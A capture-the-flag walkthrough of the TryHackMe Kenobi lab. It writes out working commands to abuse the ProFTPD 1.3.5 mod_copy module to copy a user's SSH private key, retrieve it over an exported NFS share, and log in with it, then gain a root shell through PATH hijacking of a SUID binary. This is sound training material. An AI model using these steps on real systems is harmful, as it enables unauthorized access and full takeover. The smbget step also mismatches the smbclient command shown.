TryHackMe Kenobi Walkthrough: Complete Enumeration & PrivEsc

Introduction

The Kenobi room on TryHackMe is one of the most fundamental and popular practical labs designed to teach offensive security concepts. Featuring a Linux target machine, this room introduces security researchers and aspiring penetration testers to fundamental network enumeration techniques, service exploitation, and post-exploitation privilege escalation. By walking through a realistic penetration testing scenario, learners gain hands-on experience in identifying misconfigurations and software vulnerabilities across various networking protocols. Additionally, it provides essential context on how seemingly minor security oversights can be combined during an assessment. This makes the machine an invaluable stepping stone for anyone developing a structured methodology for real-world security evaluations and technical certifications.

Learning Objectives

Port Scanning & Enumeration: Master service discovery using Nmap to map out network entry points.
SMB & NFS Inspection: Understand how to enumerate Server Message Block (SMB) shares and Network File System (NFS) mounts to uncover sensitive files.
Exploiting ProFTPD: Gain practical knowledge on leveraging vulnerable service commands (specifically mod_copy in ProFTPD 1.3.5) to gain unauthorized file access.
SSH Key Authentication: Learn how stolen Private SSH Keys (id_rsa) are used to secure initial access shell access.
SUID Binary Exploitation: Identify custom SUID binaries and execute privilege escalation via PATH environment variable manipulation to obtain root access.

Purpose of This CTF

The primary purpose of the Kenobi CTF challenge is to illustrate how chaining subtle security flaws—ranging from information disclosure on open network shares to an unpatched FTP module and unsafe binary execution—can lead to total system compromise. Rather than relying on complex memory corruption or custom zero-day exploits, Kenobi highlights realistic offensive security techniques by emphasizing thorough service enumeration, methodical exploitation, and privilege escalation leveraging native operating system features. Beyond individual technical steps, this room acts as a practical case study in security posture evaluation. It challenges security enthusiasts and penetration testers to connect initial information gathering directly to downstream exploitation vectors. By interacting with real-world protocols like SMB, NFS, FTP, and SSH in a single environment, learners build an operational understanding of how misconfigurations ripple through an organization’s network perimeter.

Ultimately, the lab demonstrates that security is only as strong as its weakest link. Even when individual software services appear minor or non-critical on their own, improper access controls and legacy versions can be chained together by a determined adversary to gain full, elevated access.

Reconnaissance & Enumeration: Demonstrates how detailed service mapping across open network ports exposes critical infrastructure data and uncovers subtle entry points.
Vulnerability Chaining: Highlights how combining separate minor findings—such as open file shares and unpatched software modules—creates a direct path to initial target access.
Real-World Exploitation: Provides hands-on exposure to leveraging legacy protocols and unauthenticated command execution in widespread Linux software like ProFTPD.
Privilege Escalation Awareness: Teaches how binary environment misconfigurations, specifically unsecure PATH variables in SUID binaries, allow lower-privileged users to achieve root-level control.

Kenobi Hacking Steps

The compromise of the Kenobi target is divided into three logical phases: Enumeration, Initial Access, and Privilege Escalation. Below is the complete, expanded, and structured methodology to fully compromise the machine.

Step 1: Network Port & Service Scanning Begin the engagement by conducting detailed network discovery to identify open ports, active services, and specific software versions running on the target system. Execute an Nmap scan utilizing default NSE scripts (-sC) and service version detection (-sV), outputting the results in all standard formats for easy reference:

nmap -sC -sV -oA kenobi_scan <TARGET_IP>

Discovered Services:

21/tcp: ProFTPD 1.3.5 – File Transfer Protocol service.
22/tcp: OpenSSH 7.2p2 – Secure Shell daemon.
80/tcp: Apache httpd 2.4.18 – Web server running default pages.
111/tcp: rpcbind – Remote Procedure Call binder service exposing Network File System (NFS) options.
139/445/tcp: Samba smbd 4.3.11 – File sharing service handling SMB/CIFS protocols.

After identifying the anonymous share, download its contents recursively using smbget:

smbclient //10.10.245.98/anonymous

Inspect the downloaded log.txt file. The log reveals critical internal configuration details, including information about the ProFTPD setup and the generation of an SSH keypair for user kenobi located at /home/kenobi/.ssh/id_rsa.

Next, evaluate the NFS setup running on port 111 to see which remote file systems are exposed:

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.245.98

The script results indicate that the system’s /var directory is exported and can be mounted directly by external systems.

Step 3: Exploiting ProFTPD 1.3.5 (Initial Access) The ProFTPD 1.3.5 installation includes an active mod_copy module, which allows unauthenticated remote users to copy files around the target system using the arbitrary SITE CPFR (copy from) and SITE CPTO (copy to) commands.

Connect directly to the FTP server using Netcat and copy Kenobi’s private SSH key to the publicly accessible /var/tmp directory:

nc 10.10.245.98 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

Since /var is exposed via NFS, mount the target’s /var share to a local directory on your machine to extract the newly copied SSH private key:

mkdir /mnt/kenobiNFS
mount 10.10.245.98:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS

Use the stolen SSH private key to log in directly as kenobi:

cp /mnt/kenobiNFS/tmp/id_rsa .
sudo chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.245.98

Once connected, retrieve the user flag located at /home/kenobi/user.txt.

Step 4: Privilege Escalation via PATH Hijacking To escalate privileges from user kenobi to root, perform local system enumeration to locate binaries with the SUID (Set User ID) permission bit configured:

find / -perm -u=s -type f 2>/dev/null

The output reveals a non-standard custom binary: /usr/bin/menu. Inspecting the binary using the strings command indicates that option 1 (Status Check) executes the system curl command without specifying an absolute, full path (calling curl instead of /usr/bin/curl).

Exploit this relative path invocation using environmental PATH hijacking. Create a malicious script named curl inside /tmp that calls /bin/sh, make it executable, and prepend /tmp to your $PATH environment variable:

cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH

Run /usr/bin/menu and select option 1. The binary will search $PATH, find /tmp/curl first, and execute it under the root owner’s permissions—granting an interactive root shell. Finally, read the root flag situated at /root/root.txt.

Conclusion

The TryHackMe Kenobi room serves as an excellent case study in offensive cybersecurity fundamentals. It highlights how minor configuration oversights—such as open NFS shares, an unpatched FTP module, and relative paths inside SUID binaries—can be chained together to escalate access from standard network reconnaissance to full root-level machine takeover. By guiding users through each attack vector step-by-step, the target effectively demonstrates how initial discovery data directly informs downstream privilege escalation. From an offensive standpoint, the machine reinforces the importance of thorough enumeration over relying strictly on automated tools. Penetration testers learn to look beyond simple open ports to inspect service configurations, un-sanitized environment paths, and exposed network file systems. Mastering these underlying Linux mechanics and protocol vulnerabilities builds a solid foundation for approaching more complex environments and real-world penetration testing scenarios. For defensive security practitioners, Kenobi underscores the critical necessity of enforcing defense-in-depth principles across an entire environment. Securing a network requires more than just restricting external entry points; it demands prompt software patching, strict filesystem access controls, safe binary coding practices, and continuous monitoring of network shares. Addressing these core configuration details prevents adversaries from combining small weaknesses into full system compromises.